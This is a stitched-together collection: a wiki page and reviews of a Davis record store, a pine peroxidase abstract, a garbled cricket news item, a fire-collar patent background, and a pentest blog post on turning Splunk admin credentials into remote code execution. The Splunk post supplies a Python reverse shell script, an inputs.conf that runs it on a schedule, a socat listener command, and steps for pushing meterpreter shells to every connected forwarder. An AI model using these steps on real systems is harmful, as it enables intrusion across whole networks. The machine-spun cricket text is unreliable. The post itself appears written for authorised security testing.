There were numerous trinkets in the store for sale such as incense, posters, pins, sunglasses, dolls, gag gifts, vintage candy, etc. Employees had the ability to search through the inventory of Dimple's 7 other stores in the greater Sacramento area and could have had a product transferred from those stores to Davis in 5-10 days for no extra charge. Items currently available from distributors can also be special ordered and will arrive around 7-14 days in most cases. For both transfers and special orders, Dimple will not charge you up front but rather will wait until an item arrives before you are required to pay for it. Dimple also has a lot of promotions going on and plenty of free demo and compilation CDs to give away.
Dimple offers a free rewards card for all customers. For every 13 dollars that you spend, you receive a "point" — as these points accumulate, you can then use them to get items half off. For instance, if you have 11 points saved up, and you are buying a CD that comes to $11.00 or below (including tax) you can choose to get that CD half off. Thus, each point equates to a 50 cent deduction, but the points have to be above the price of at least one of the items you are buying. It's a modest but nonetheless simple and generous system. The points are tracked automatically on the card, and it takes less than 30 seconds to set one up during checkout. The rewards card also acts as your receipt if you lose your paper receipt so it's handy to carry around. For those worrying about having more things to carry, employees can always look you up in the system by your name if you lose or forget your card.
They had an industrial disc buffer that they used to repair scratched discs for $2.50.
Vinyl
The Davis Dimple did sell but did not buy back used vinyl. The store expanded their used vinyl selection to about equal to their selection of new vinyl (mostly current artists/releases). Dimple has recently opened a store devoted entirely to vinyl called "Dimple Vinyl" . It is located in Sacramento in the same building as the main Sac Dimple on Arden way. "Dimple Vinyl" does buy back used vinyl records but it is the only Dimple store that does. Most records on vinyl cannot be special ordered because they are out of print. Customers should also note that all vinyl sales (both new and used) are final - they are not returnable for any reason.
Used Item Buyback
Dimple will buy back used CDs, DVDs, Blu-Rays, VHS, video games and video game systems/accessories (no vinyl or cassette tapes). Dimple buys older video games/systems too, including but not limited to gameboy, snes, genesis, atari, nes, dreamcast, and ps1 items. When selling a video game console, you need to bring the console itself, the power cable, the video connector cables, and one original controller (no third-party controllers allowed, although you can sell those back separately). All product must be used, meaning it must be opened and not shrink-wrapped. Anything in shrinkwrap will not be accepted that day. Trade in value for VHS is extremely low, so don't expect more than 5 cents or so for most VHS tapes. Customers can choose to get either cash or store credit. The store will not quote buyback prices over the phone (the only exception to this rule is Video Game systems). Buybacks can take a while depending on both the amount of product you have to sell or if other people are selling at the same time, but you are welcome to browse the store as they process your stuff. Only one buyback per day, per customer is allowed. You must bring a valid ID each time you sell.
Returns
Dimple gives store credit only for all returns. There are no cash or credit card returns. If anything is brought back defective within 14 days it can be exchanged for or if another copy does not exist customers can receive 100% store credit. If any new, unopened product is brought back within 14 days it can also be exchanged for 100% store credit. Opened CDs or DVDs that customers just simply don't like can also be returned within 14 days for 75% store credit.
Store Transfers and Special Orders
One neat thing about Dimple is the ability to have items transferred from the other Dimple stores for free. Say you really want to buy the new season of Mad Men, but you want to wait for a used copy and the Davis location doesn't have any. Simple ask a clerk to check if any of the other stores have a copy. If they do, that clerk will call that store to make sure they can find it and then have it sent over. Transfers take up to a week but can come in much sooner. You have no obligation to buy the item when it arrives at the Davis store - if you decide you don't want it, they will simple put it back out on the floor.
Dimple can also special order new copies of items that aren't currently at any of the Dimple locations as long as that item is currently in print via their distributors. Like with transfers, you do not pay up front and there is no obligation* to buy the special order once it arrives (* = if the item ordered is over $35 dimple may ask you put down a 10 percent deposit . This deposit will go onto a gift card as store credit and it can be used for any item). Special orders can take up to 4 weeks to arrive although most items arrive much sooner. There is a chance an item might not arrive at all if the distributor can't get a hold of it. Unfortunately, there is no way to track a special order's arrival time until it shows up at the store. Because of this, Dimple does not require you to pay up front.
Bag Checking
Dimple asks that you please check any backpack or bag up at the front of the store (purses are ok). This includes bags from other stores.
Comments:
2007-06-22 22:07:51 Two words: Weak sauce. Their electronica section is 1/3 an aisle and I swear, has nothing pre 2005 except for some "Greatest trance of the 90's" or some other crap. The Sacramento store is a priceless gem but it's corwning achievements like the one in Davis that remind me why I use peer 2 peer. Unless you want a plastic copy of something broadcasted on your clearchannel FM dial, don't bother. :-( —ChristopherMckenzie
2007-06-25 14:15:20 Christopher -
Indeed, the electronica section is only about a third of an aisle, but the store is a lot smaller than the sacramento location and thus thats about all the room we can afford. There are plenty of electronica CDs that are pre-2005. The section is kind of a mess right now because we're still in the process of stocking and getting cards/tags for everything, but it will all come together soon. Also, the vareity of the store will increase as more people start visiting and selling their CDs to us. We can also special order CDs from our distributors for you, and, even better, we can search the inventory of all 5 other Dimple locations and have product transfered from other stores to Davis for no extra cost, usually in about 3 days. I hope this eases some of your concerns, come try us again soon! —JakeJames
Maybe I will. Here are some things:
Indeed, the electronica section is only about a third of an aisle, but the store is a lot smaller than the sacramento location and thus thats about all the room we can afford.
I know ... there is a lack of demand and it's fiscally irresponsible to carry more. Every now and then though, I find a store that seems to be bent towards electronica even though it's not the most financially viable option or in any way guarantees long term profitability. Personally, I would love the selection to increase but objectively I think it is the right size, if not too large already.
Also, the vareity of the store will increase as more people start visiting and selling their CDs to us.
Yes, the establishment and history of the Sacramento store shows in it's wide selection.
We can also special order CDs from our distributors for you, and, even better, we can search the inventory of all 5 other Dimple locations and have product transfered
If I want something commercially available, I will buy it at a cheaper internet outlet - plain and simple. However, places like Dimples in Sacramento offer the strong advantage of having lots of out of print material for sale from labels that have long ago gone belly up or been acquired so many times that it's forgotten in the past. Some of these old works of high quality are locked by our ridiculous copyright laws - even from the original artist taking control and redistributing the material themselves. As a result, some things are just plain unavailable except in used CD/vinyl or (dread) casette. This is my sole intent in going to a record store - to get what is unavailable - and to be exposed to something that the internet doesn't offer.
2007-07-16 15:29:48 This place gets big points in my book just for being a good wikizen — updates to this page are informative without overselling, and there is response to customer concerns! I'll be checking them out soon. —CovertProfessor
2007-08-07 00:00:50 I like Dimple a lot; I think they have a fine selection of used material and you can even sometimes find good stuff for $5.99 (Sonic Youth's Daydream Nation). Most used CDs are right around $8, which is competitive with Armadillo. My only complaint about the place is the damn tape they use to seal the CD cases. It is really hard to get off of the cases, and once it is off it leaves a wonderful sticky mess, so you will either need some sort of solvent or a new case. I suppose theft is a concern, or disc swapping perhaps. I would think that if a thief is in your store they are going to steal anyway. Just a thought. —ColinMcEnroe
2007-08-09 22:36:49 Colin -
Yeah the tape can be a nuisance, but I guess it is a pretty solid/cheap theft deterrent and helps keep used CD prices down. We have razor blades up at the front, so we can cut through them for you, but sometimes the tape does leave that stickiness. We usually have goop-off up at the front so if it's a big issue we can try cleaning it off for you as well (as long as there isn't a long line of customers behind you).
- Edit: As of October, Dimple is changing their tape to one that supposedly leaves less residue. It's not being used at the davis location yet but it should be there soon.—JakeJames
2007-08-12 10:07:23 i actually like this place. It feels comfortable there and the prices are awesome compared to other stores. The workers are really helpful too as well as laid back. love it. —KimberlyMiller
2007-09-12 11:10:19 Dimple is amazing!! Compared to how tower was and their desire to rip people off with overly expensive items, this is a dream come true. Best part is that it's family owned which i just found out! When i was there i couldn't find what i wanted, so i asked for help and it wasn't in the store, but they ordered it from another store and i got it within a week. Who listens to techno anyways pssh. Keep up the good work dimple! —Treehugger
2007-10-10 16:25:31 Dimple is great great employees Devon is awesome always a professional all employees are great. Great service lots to choose from love it it is way better and friendlier than anyother store i have shopped at thanks so much —Brians
2007-10-28 13:27:31 Dimple is awesome! If they don't have a CD in stock at one location, they can not only look up to see if it's available at another Dimple store, but they can have it shipped over to the store you want it at for free — even used stuff. I've always found the prices reasonable (especially compared to their across-the-street competitor) and the service and selection are excellent. —DavidObrien
2007-11-15 20:59:18 I can't wait for the new lower-residue tape to start filtering in! —ColinMcEnroe
2007-11-15 21:00:41 BTW, Dimple is wonderful, I always find lots of good *gasp* used music for a reasonable price. —ColinMcEnroe
2007-11-15 22:35:43 If you're from the Bay Area and are used to places like Rasputin and Streetlight, Dimple is very similar. Decent prices (I can always find good DVDs here for about $7) and a good selection...pretty neat place altogether. —LilyT
2008-01-11 13:00:58 Dimple is surprisingly becoming my primary place to shop for video games. They've surprised me on 2 occasions by having something in stock that Gamestop did not and their prices are reasonable and sometimes cheaper than other places. The rewards card is also amazing for shopping for games because half off of a game (even if only every now and then) is spectacular. My only complaint is that their selection isn't as big as I'd like, but it's difficult to fault a music store for having a slim video game selection. —OnaWhim
2008-01-11 18:44:06 Some of their used anime dvds are bootlegs. And entire series for 15 bucks on a few region free discs should raise some red flags, if you actually care about that sort of thing. —MeeYouu
2008-03-19 13:32:41 Dimple is awesome and has now become my one-stop site for used CDs and DVDs. They have awesome service and an excellent selection. I've spent hours walking around looking for music. Excellent! —VTang
2008-05-18 00:33:25 Used DVDs are still a little expensive. Think ~$14. Yeah.... —eda
There's a huge range on the prices of used DVDs. They can go for anywhere from $1-$18. There are a few factors that go into the pricing, but the two main ones are the retail price of the DVD new and how many used copies of a particular movie Dimple has in their stores. For instance, a movie they have 40 used copies that only sells for 10 bucks brand new is gonna go for 3-6 bucks. However, a movie that just came out within the last few weeks that retails for around 25 bucks still and that Dimple only has two or three used copies of is gonna go for 15-18 bucks. If you are looking to get a particular movie cheaper you have to wait till a lot more people sell it back and the retail price on it drops. Also, the suggested retail price on a lot of special edition two disc sets is around 35-40 dollars new (even though dimple, like most places, only sells them for 25-30 new) so those sets usually go for around 18 dollars used until a whole bunch of them are sold back.
2008-06-24 19:10:11 A fair share of pros and cons, though they are going to have to do quite a lot to outweigh the cons. Pros first, great selection and prices, rewards card, organized, and the ability to have stuff transfered from other stores. Cons, the staff, now for the explanation. One out of five things that come in for me I get a call for, the other five I don't (And sometimes that stuff doesn't even get put on hold). More then enough times they randomly put stuff back on the shelves that I had on hold, not to mention that I didn't have more then five things on hold nor did 7 days pass. They refused to take back faulty merchandise and have been extremely rude and insufferable. I even once called to ask if they had something, the call ended within 3 minutes with them telling me not to call them again. (Without them having auditory hallucinations nothing I said could have been insulting in any way, quite the opposite actually). —HVS
2008-07-10 23:10:57 I refuse to buy music here. Last spring, I applied for a job before the store was officially open, and after several uncomfortable up-and-down judgments by the unfriendly ladies setting up shop inside, I was obviously judged as not fitting of the record store employee stereotype. (I'm a girl, don't let my fake profile fool you). All I can guess is that I was too clean cut for them. But I can guarantee I know more about music than any one of them; I would have loved that job and would have been such a great asset. I doubt they even looked at my application.
I know that doesn't say anything about the store itself, but customer service, a.k.a. treatment of patrons and potential coworkers, is very important. If you're representing an establishment, you should be aware that how you act wherewithin can make or break a customer's decision to shop there.
That said, I was originally a huge fan of Dimple's well-established rival, Armadillo Music, for all the free stuff they consistently give me with purchase, and how chill they are. Plus, I would rather support a non-chain record store anyway. GO ARMADILLO! —WinButler
test
Ms. "Win" -
How does not being hired at a store have anything to do with a store's customer service? It's understandable to be disappointed when you aren't hired at a place you would like to work, but to still hold this much of a grudge a year and some months later is kinda ridiculous. It also doesn't make sense to review any store on the basis of whether or not they hired you - that doesn't tell readers of the wiki anything constructive. Guess what? Most people who applied to the store early on didn't get hired because of the amount of applicants and relatively few positions. Your insinuation that you weren't hired because you were a girl is also completely without merit as at least half of the store's employees are female including the manager and assistant managers. Shop wherever you want, and if you want to shop at Armadillo that's fine, but get over yourself. Sheesh.
Also, if you would rather support a non-chain record store (which is silly since both Armadillo and Dimple are independent stores) and have all this music knowledge filling your brain, why didn't you apply to work at Armadillo instead of Dimple? —JakeJames
2008-09-08 09:39:31 HVS-
First off let me apologize for the treatment you have received. I am an employee there and as a shift leader I am in the front lines doing my best to make sure things you've commented on don't happen. Customer service is our number 1 task. I can give a few reasons why you might have had poor service with the transfer/special orders: First off if it is a special order it can take anywhere from 1 day to never coming. That confuses a lot of people when we tell them about our other service "transfers" which take 7-10 business days. Now with transfers the whole process is that we call a store, they look for the item,(if they find that item) the store will then send it our way via a friendly guy driving his personal car. Now that seems like a flawless plan, but sometimes the employees can write the wrong things down or we receive the wrong information from customers but when it arrives to us we do our best to get it to the customer. If the number doesn't work we just put it on hold 7 days from when we received it and after that it goes on the floor. Everything that comes through via transfer or special order gets put on hold for 7 days with the exception of New Game Systems and some New Games because far too often we have people put items on hold that others want and then never come in.
Now for the returns, we take returns on almost everything we sell, with the exception of apparel, audio cassetes, and vinyl (as it is all written on the return policy posted in the store and given away to each customer). When someone comes in wishing to return something, if that item is defective we try to find the same item on the store floor or we run it through the repair machine, if the customer doesn't want that same item we fall back on the normal return policy which is 75% store credit within 2 weeks of the purchase. With that said, I have seen returns of vinyl, and audio tapes because they were defective and we got the customer the WORKING copies of each.
With regards to someone hanging up on you and telling you never to call back, I have a hard time believing that, but since you are the customer I will. Problems like this should definitely be addressed by a shift leader such as myself, the assistant manager or the manager. If you don't feel comfortable talking to any of us because you feel we are too rude, then by all means call the sacramento store and talk to Drew or Dilyn and please let them know how we wronged you. Our job is to help you enjoy the music and movies that we all as employees enjoy. If you are hating being in our store because of things we did then we feel that as well and its a bad experience for all of us. So in closing, All of these problems can and should be addressed directly to us in the store, I can promise that no one will throw you out or let the dogs out on you. —AndyHenderson
2009-01-18 09:44:34 I'm used to having no record store in the town I used to live and having to drive to go to a Best Buy or Rasputin, so to me Dimple is really convenient. I usually go there 2-3 times a month and have always found fair prices, and occasionally a couple of really good deals. I buy used DVDs from time to time, and a couple times I have encountered scratched disks but I guess that would happen at any store that sold used DVDs. Dimple's music selection is perfect for most mainstream or semi-mainstream stuff, not so much for indie lovers but who cares about them anyway? One issue I have is that their new DVDs are a lot of money. Iron Man was $23 (marked down from $30), and sadly this is one of the few places to get new DVDs in Davis. But overall Dimple suits my needs perfectly. —Eagle
2009-02-15 20:06:01 They have a relatively great selection of music and their rewards program is decent. However they seriously need to reconsider their return policy on video games - the "no cash back" policy is reasonable, but should only apply to easily pirate-able media like music and DVDs. There's no reason to not give full cash back for a used XBOX/PS3 game that doesn't work at all, especially if they can't replace it. —btronclassix
2009-03-10 20:07:23 I have nothing negative to say about this store (although I rarely venture out of the Metal section). I have always received good service, and prices for new CD's are consistently $1-2 lower than Armadillo. The rewards card is nothing amazing, but It is nice to get a discount every now and then, and I shop there enough to get them decently often. they have a pretty good variety of used CD's at decent prices, including some that I did not think that I had much of a chance of finding there (picked up a cop of Farmakon's A Warm Glimpse for around $8 a couple months ago). When I buy a used CD, they always check for scratches, and buff the disc (for free) if necessary. Also, despite the time range stated above for special orders, both times that I have used a special order (for CD's both times), the product has arrived within 4 days. I have always puzzled over some things, though, like why The Faceless and Strapping Young Lad are in the "Pop/Rock" section, rather than the "Metal" section. this is no complaint, though, and Dimple is probably my favorite place in town to spend money. —NickW
2009-08-15 18:17:46 I traded in 3 video games, 3 CDs and a DVD and got $9. That seems like a ridiculously low and unfair amount to me. The guy behind the counter seemed as if he was going to drop from exhaustion at any moment (it was 10AM). Overall, not so great of an experience. —AliceMaine
2010-01-20 20:57:37 Dimple records is my favorite shop in Davis. I go there almost every weekend and more than half of the cds/dvds/video games in my room are from dimple records. They have great prices, considering I got the special edition of Spiderman 2 for a dollar. The rewards card is great and keeps me coming back to dimple records. The main reason I started shopping at Dimple records is because those retards at Gamestop don't sell anything pre-gamecube. I love it when I walk into Dimple records and see Resident Evil 2 and a Dreamcast lightgun in the games section of the store. —EricGuerzon
2010-06-06 10:07:04 The one place in Davis I am completely satisfied with. The people that work there are SUPER AWESOME! I always get wonderful customer service. And the prices here are just unbelievable....super affordable. —Jackie89o
2010-09-09 09:27:19 I recently bought an used video game there. It was in the original case, with the original booklet and other papers, runs just fine, and the cost was 58% the cost of a new copy. The clerk who helped me was helpful, polite and personable. It's unusual for me to buy anything electronic-related in person, but I would shop at Dimple again. —mnightingale
After the untimely demise of Tower, Dimple seems to be the default go-to media store in the Sacramento area now. I do my best to keep them in business (I live in Sacramento so usually go to their Arden store, but go to Davis frequently since my parents live there) but the minor gripe I have with their stores is that they don't separate new items from used- I'm an obsessive collector and simply don't buy used unless it's something that's long out of print, but when looking through CDs I have to flip through used and new copies mixed together. DVDs and Blu-Rays are a bigger pain to look through since it seems the amount of used product outnumbers new (I often see used copies of some DVDs that I bought NEW for LESS elsewhere, BTW.) Dimple also makes a big mistake with the many new DVD and Blu-Ray titles that come in cardboard slipcovers with no shrinkwrap on them (a very stupid practice by the movie studios which has lead to a huge decline in my impulse-buying)- they stick price tags on the bare slipcovers, which for my obsessiveness renders a 'new' item 'used', as your only choices are to leave the price tag on or remove it and risk causing damage to the cover. Titles packaged like this I only buy at stores like Target that don't use price tags, or if I'm unable to find it there I'll order it online or just do without it.
On the plus side, their prices are competitive for the kind of store they are- they often have sales on older Sony Blu-Ray titles for around $9.99 and their new releases often at least meet the competition. With record stores being a dying breed in general, I'm still reminded of the magic of browsing through their selection which is something you just don't get from buying online (I don't pay for downloads either since I want an actual disc- I've been buying CDs since 1985, before a lot of people had CD players. By the way I will say that the main reason for music sales in general declining is the result of greedy record companies setting high list prices- it's been $18.99 for most new releases which is just ridiculous, and you'd think after Tower went under they'd wake up and start lowering them. Dimple seems to cut the prices as much as they can, but when the labels charge them a certain amount they can only go so low without losing money.) All their stores have used VHS tapes averaging 99 cents, which are often hard to look through but I always scan through them and sometimes find rare treasures that haven't been issued on any other format. Sadly they seem to have given up on laserdiscs- just a few years ago I could often get some great finds at their Roseville store, including Electric Dreams, the original Max Headroom movie and the DTS Jurassic Park disc for about 3 bucks, but they don't sell LDs anymore and you usually have to travel to the bay area to find any nowadays.
lol 18$ is CHEAP! In Denmark a new CD costs around 30$!
Only been to their new vinyl store once but it's great- prices there are very reasonable and they don't seem to charge 'collector's' prices on too many items like other used record stores in the area do.
As far as the comment about tags on covers go, all stores do this, WalMart, BestBuy, you name it - and their tags are a hell of a lot harder to peel off than Dimples. The bigger "mistake" would be to not place tags on them at all so people wouldn't know how much they cost. You can also always chuck the slipcovers since 99 percent of time they are just duplicates of the actual cover artwork. As far as separating used from new, some of the bigger stores used to be set up this way, however the Davis store has never been big enough to have that kind of setup. —JakeJames
Hey Jake- looks like you wrote your own prescription for death as this store is now closed! Suggesting someone "chuck" part of a media package is a very dangerous attitude for someone in the media retail business to have, considering it is us obsessive collectors who will ultimately decide which of you stay in business!
2011-01-21 23:33:47 always go here to get cds. good place to go fer grabbin a movie since they have a wide selection. —csy
2011-02-16 08:55:31 It's kind of expensive, but If I want a cute wannabe asian coinpurse, anime or vhs tapes, it's moderately cheap, as long as you dig a lot first. —Mogitha
2011-03-25 14:26:46 Recently sold an old original xbox (not 360) and some games and got $40 cash. Pretty decent. —BrettBretterson
2011-07-14 21:47:45 I've enjoyed this store since they opened, especially since I was pretty sad to see Tower go (the Stonestown Tower started my music obsession). I still make a point to go inside whenever I'm downtown, and I've made quite a few great purchases/discoveries from the stock there. Their selection is very good, they have somethings off the beaten path, though too much in the rare/obscure category. I'm a little disappointed that they've cut down their CD selections, but they still have a lot of great ones. They've always been very helpful for special orders, they don't charge for the service, the CD is usually in within a week, and sometimes faster than the store transfers. —MatthewCCoker
2011-07-14 21:51:50 NOT too much in the rare/obscure category. I'm able to find a lot of what I'm looking for when I'm there, but there are things that I either wait for an Amoeba trip or special order. Still the selection is very good. —MatthewCCoker
2011-10-13 16:14:42 I am fairly new to town and went downtown to check out the local music store scene. I found the staff at Dimple to be closed off and rude. First, when you walk in the door you are bombarded with employees telling you that you need to give them your bag...Try asking, this is not a goof first impression. There was one employee who seemed more interested in loading and unloading stuff off of a random cart than helping the customers. By the way, there were 2-3 employees in the store and only 2 shoppers and it still took me approaching him and asking for help. When i did this he was visibly annoyed that I was taking him away from his stocking job to actually help someone. I decided to leave and go across the street to Armadillo Music...it was my first time in there as well and they actually know what customer service means. Dimple, you lost a new customer, Armadillo, you gained one! —seanjones
2012-03-26 14:26:25 I like Dimple. I just wish they had more of a variety for xbox 360 games. —JennaAmpol
2012-08-25 15:43:49 So what's going to move in here now? This is the first time it's been empty since before Rainbow Records opened, and the first time it hasn't been a record store! If Armadillo Music is serious about records and stuff, they should move in here from their cramped location across the street. I hardly ever bother to go in their store as it's so small, and it would be a shame to have THAT as Davis's only record store! —AlanSmithee
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Characterization of a Pinus pinaster cDNA encoding an auxin up-regulated putative peroxidase in roots.
As part of a study to identify host plant genes regulated by fungal auxin during ectomycorrhiza formation, we differentially screened a cDNA library constructed from roots of auxin-treated Pinus pinaster (Ait.) Sol. seedlings. We identified three cDNAs up-regulated by auxin. Sequence analysis of one of these cDNAs, PpPrx75, revealed the presence of an open reading frame of 216 amino acids with the characteristic consensus sequences of plant peroxidases. The deduced amino acid sequence showed homology with Arabidopsis thaliana (L.) Heynh., Arachis hypogaea L. and Stylosanthes humilis HBK cationic peroxidases. Amino acid sequence identities in the conserved domains of plant peroxidases ranged from 60 to 100%. In PpPrx75, there are five cysteine residues and one histidine residue that are found at conserved positions among other peroxidases. A potential glycosylation site (NTS) is present in the deduced sequence. Phylogenetic analysis showed that PpPrx75 is closely related to two A. thaliana peroxidases. The PpPrx75 cDNA was induced by active auxins, ethylene, abscisic acid and quercetin, a flavonoid possibly involved in plant-microorganism interactions. Transcript accumulation was detected within 3 h following root induction by auxin, and the amount of mRNA increased over the following 24 h. The protein synthesis inhibitor cycloheximide did not inhibit indole-3-acetic acid-induced transcript accumulation, suggesting that PpPrx75 induction is a primary (direct) response to auxin. This cDNA can be used to study expression of an auxin-regulated peroxidase during ectomycorrhiza formation.
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South Africa tour of Sri Lanka (2018)
Sri Lanka skipper Dinesh Chandimal out of South Africa Tests
Dinesh Chandimal and two best Sri Lankan cricket authorities have consented to sit out the Test arrangement against South Africa pending approvals, the International Cricket Council said on Thursday.
Dinesh Chandimal, mentor Chandika Hathurusingha and supervisor Asanka Gurusinha had confessed to damaging the soul of the amusement a month ago amid Sri Lanka’s second Test against the West Indies.
The ICC said a legal commission hearing finished medium-term, hours before the primary Test against the meeting South Africans was because of begin at Galle on Thursday, however a choice would be declared “at the appointed time”.
“Meanwhile,Dinesh Chandimal, Hathurusingha and Gurusinha, who have confessed, have concurred not to take part in the two Tests v SA,” cricket’s representing body said on Twitter.
“This will be credited against authorize forced by magistrate.”
The trio were charged by ICC CEO David Richardson for their inclusion in the Sri Lankan group’s refusal to take the field in St. Lucia on the third day of the second Test, which caused a two-hour delay in the beginning of play.
Sri Lankan were dissenting the honor of five races toward the West Indies after Dinesh Chandimal was found messing with the ball amid the earlier day’s play.
Dinesh Chandimal missed the third and last Test in the wake of losing his allure against a one-coordinate boycott and a fine equivalent to his match expenses.
Match official Javagal Srinath had said Dinesh Chandimal connected a counterfeit substance to the ball disregarding the ICC Code of Conduct.
Dinesh Chandimal was associated with utilizing spit and a sweet that he had in his mouth to mess with the ball trying to influence it to turn more. His demonstration was gotten by TV cameras.
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One known type of fire collar comprises a metal collar having a liner of an intumescent material which is adapted to be fastened to a barrier, for example, a concrete wall or floor, around a conduit penetrating the barrier. In the event of a fire on one side of the barrier, the intumescent material expands upon its temperature reaching a predetermined level which in turn forces the conduit to collapse or pinches it off thereby inhibiting the spread of fire from one side of the barrier to the other. Examples of such fire collars are described in U.S. Pat. Nos. 058,346 and 347,767. Another form of fire collar relies on the heat from the fire to melt the conduit adjacent the point of penetration and cause the intumescent material to expand across the void left by the melted conduit thereby closing it.
One problem with prior art fire collars is that the time taken for the intumescent material to seal off the void left by a melted conduit can be too long in rapidly advancing fires which may result in fire or poisonous gases penetrating the barrier. That problem has been significantly reduced by the fire collar described in International Patent application No. PCT/AU2004/000143 (International Publication No. WO 2004/072530) by the present applicant. The fire collar described in that application has two opposed torsion springs and a sleeve of intumescent material mounted in a frame such that the frame can be mounted to a barrier and the sleeve fitted about a conduit passing through the barrier whereby the tail of each spring is adapted to engage with the sleeve which in turn engages with the conduit in response to fusing of respective retaining links holding the spring tails in the loaded position. While that fire collar is effective in use, it is more expensive to produce than is desirable.
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"pile_set_name": "USPTO Backgrounds"
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Update 7/21/2016:
Splunk has released an excellent blog post covering the best practices for deploying Splunk securely: http://blogs.splunk.com/2016/07/10/best-practices-in-protecting-splunk-enterprise/. If you are unsure if you have deployed your Splunk in a secure manner, review these tips and the referenced documentation from Splunk to harden your deployment against internal threats.
The best practices provided by Splunk will help prevent an attacker from compromising a Splunk deployment, preventing the attacker from leveraging the techniques in this blog post. Ensure that all new deployments of Splunk follow these guidelines and harden any existing deployments.
Splunk is a powerful log analytics tool allowing machine data to be mined and analyzed into actionable intelligence. Although not a purpose built SIEM, Splunk has quickly established itself as a powerful tool for security teams. Like many security tools, however, Splunk deployments tend to reach over sensitive systems and, if compromised, could grant attackers significant access to critical assets.
This post will cover how to take advantage of Splunk admin credentials to gain further access during a penetration test.The following techniques will be reviewed in this blog post:
Uploading application with scripted input that creates reverse or bind shell
Deploying application with reverse or bind shell to universal forwarders using the Splunk deployment server functionality
Uploading application to decrypt and display passwords stored in Splunk
What to Do with Splunk Credentials
During the course of its pentests, Tevora has gained access to many instances of Splunk. This access is achieved most commonly with compromised AD credentials or weak passwords for the Splunk admin account. This access can almost always be leveraged to gain code execution on the Splunk server itself, and oftentimes, code execution on every system Splunk is using a universal forwarder to collect logs on by leveraging Deployment Server functionality. This can be used to not only gain access to more systems, but often to isolated network locations such as the CDE (cardholder data environment).
Creating and Uploading Malicious Splunk Application to Gain RCE
If access to Splunk is achieved with an account with permissions to upload or create applications, attaining RCE (remote code execution) is a relatively straightforward task. Splunk applications have multiple methods of defining code to execute including server side Django or cherrypy applications, REST endpoints, scripted inputs, and alert scripts.
One of the easiest methods of running a script is creating a scripted input. Scripted inputs are designed to help integrate Splunk with nonstandard datasources such as APIs, file servers, or any datasource that requires custom logic to access and import data from. Scripted inputs, as the name suggests, are scripts that Splunk runs and records STDOUT from the script as data input.
Code execution can be accomplished by creating a scripted input that, instead of gathering data, creates a reverse or bind shell for the use of the pentest. Luckily, every full install of Splunk (not universal forwarders) comes with Python installed, guaranteeing our ability to run python scripts. We can use Python to setup a bind shell, reverse shell, or even a Meterpreter shell in pure python.
Creating a Splunk Application
To create an application to run our shell, we just need to create a python script and an 'inputs.conf' configuration file in to direct Splunk to run our script. Splunk applications are just a folder, with special directories containing configurations, scripts, and other resources that Splunk knows to look for. http://docs.splunk.com/Documentation/Splunk/6.1.6/AdvancedDev/AppIntro#App_directory_structure
For our purposes we only need to care about the ./bin and ./default directories which will house our python script and inputs.conf file respectively. Create the below directory structure on your computer.
Splunk App Directory Structure
pentest_app/ ./bin ./default
Now that we have the correct directory structure set up, let's create and place our files.
Python Script
Let's just use simple reverse shell that we can connect to by starting a socat listener. Replace it with the IP of your listening host. Place this script in ./bin in your app directory and name it reverse_shell.py
import sys,socket,os,pty ip="0.0.0.0" port="12345" s=socket.socket() s.connect((ip,int(port))) [os.dup2(s.fileno(),fd) for fd in (0,1,2)] pty.spawn('/bin/bash')
Inputs.conf
(See: http://docs.splunk.com/Documentation/Splunk/latest/Admin/Inputsconf)
Create a file named inputs.conf and place it in the ./default directory. This file will tell splunk to run our reverse_shell.py script every 10 seconds. Splunk keeps track of scripts that are running and so it will not create duplicate processes.
[script://./bin/reverse_shell.py] disabled = 0 interval = 10 sourcetype = pentest
Upload the App to Splunk
Congratulations! We now have a fully functioning Splunk app that will open a reverse shell for us. The next step is to get this app onto the Splunk server (which we are already assuming you have access to). Splunk allows tarball uploads of applications. Tar your pentest app directory up
tar -cvzf pentest_app
Simply upload the tarball of this app to the Splunk server by going to apps-> manage apps
Click "Install app from file", upload your tar.gz file, and the app will install.
Start a socat listener on your machine to catch the reverse shell. Adjust the port to match your python script's config.
socat `tty`,raw,echo=0 tcp-listen:12345
When the schedule kicks off after 10 seconds, enjoy your reverse shell!
Gaining RCE on Systems connected to Splunk deployment server.
Splunk contains functionality to deploy apps to other Splunk instances to ease administration of distributed deployments and configuration of Universal Forwarders (Splunk's log collection agents). This functionality is called Deployment Server http://docs.splunk.com/Documentation/Splunk/6.4.0/Updating/Aboutdeploymentserver. Commonly Splunk is deployed in a manner where all the Universal Forwarders look to the deployment server for their configuration. Because deployment servers deploy applications, and applications allow for RCE, deployment server allows for RCE on all its connected clients.
Usually the deployment server is configured on the Search head in a distributed deployment, but it could be on another instance. To determine whether the instance of Splunk has an active deployment server navigating to settings and click forwarder management.
If clients are connected, remote code execution can be achieved on every one of those connected clients.Note that the server class 'forwarders' likely has many clients connecting
Applications can be assigned to server classes through this interface (categories of server types in the deployment server) and are pushed out to those servers. In order for applications to be eligible for deployment, they must be located under $SPUNK_HOME/etc/deployment-apps . These will be our targets. We can use our previous remote shell on the deployment server to put a malicious app in this deployment directory.
Although we could push the app we made previously to the server, it likely will not work in windows environments, because Python is not installed by the Universal Forwarder. Instead lets set up a powershell payload that creates a bind meterpreter stager. Note that any payload that is appropriate could be used here. For targets to which you don't have inbound access, consider creating a reverse HTTPS payload stager using Veil-Evasion or viewing the payloads in Tevora's Splunk pentest app: Clone it on GitHub (More on this app in part 2 of Pentesting with Splunk series)
Grab the Tevora penetration testing app from GitHub, which has a TA_pentest app bundled in its appserver directory. We we can use this TA_pentest app as our deployment app as it by default has PowerShell bind shells enabled. Tar up the Tevora pentest app and upload it to your Splunk instance. You may notice that a webshell and a password hunting tabs are added to Splunk in the pentest app ui, these will be covered in part 2 :).
Now that the TA_pentest is on the server (in the appserver directory of the pentest app), place the TA_pentest app in the deployment-apps directory. A good way to do this is by making a symlink. This can be done with the socat shell you have already established or through the newly uploaded webshell.
root@splunk:/opt/splunk/etc/deployment-apps# ln -s ../apps/pentest/appserver/TA_pentest/ .
In the Splunk web interface, navigate to the forwarder management page and click the apps tab. Click edit on the TA_pentest application
On the edit App TA_pentest , you can choose what serverclasses to deploy the application to. Usually 'forwarders' or something to that extent will be the most far reaching serverclass. Since we are deploying only a Windows shell, a serverclass like "windows forwarders" would be most appropriate if present. If you want to target linux systems, consider using one of the python shells, or create another linux compatible payload script. Ensure "Restart Splunkd" is selected to cause the Universal Forwarders to reload the inputs.conf configuration and start running your script.
Since, in this example, we deployed a meterpreter bind, use Metasploit's multi/handler to connect to the bind port on the target systems. Here is a test deploying this deployment application to our lab domain controller:
Metasploit Bind Handler
